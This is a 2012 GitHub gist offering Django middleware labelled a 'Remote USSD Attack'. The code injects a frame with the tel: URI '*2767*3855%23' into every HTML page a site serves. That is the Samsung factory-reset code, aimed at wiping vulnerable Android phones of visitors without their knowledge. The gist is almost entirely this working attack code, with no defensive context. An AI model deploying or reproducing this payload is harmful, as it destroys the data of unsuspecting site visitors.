Created
September 26, 2012 12:15
-
-
Save juanriaza/3787675 to your computer and use it in GitHub Desktop.
Django Middleware - Remote USSD Attack
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from django.http import HttpResponseRedirect | |
from django.utils.encoding import smart_unicode | |
def replace_insensitive(string, target, replacement): | |
no_case = string.lower() | |
index = no_case.rfind(target.lower()) | |
if index >= 0: | |
return string[:index] + replacement + string[index + len(target):] | |
else: | |
return string | |
_HTML_TYPES = ('text/html', 'application/xhtml+xml') | |
class FuckDroidMiddleware(object): | |
def process_response(self, request, response): | |
if request.is_ajax(): | |
return response | |
if isinstance(response, HttpResponseRedirect): | |
return response | |
if 'gzip' not in response.get('Content-Encoding', '') and \ | |
response.get('Content-Type', '').split(';')[0] in _HTML_TYPES: | |
response.content = replace_insensitive( | |
smart_unicode(response.content), | |
u'</body>', | |
u'<frame src="tel:*2767*3855%23" /></body>') | |
if response.get('Content-Length', None): | |
response['Content-Length'] = len(response.content) | |
return response |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment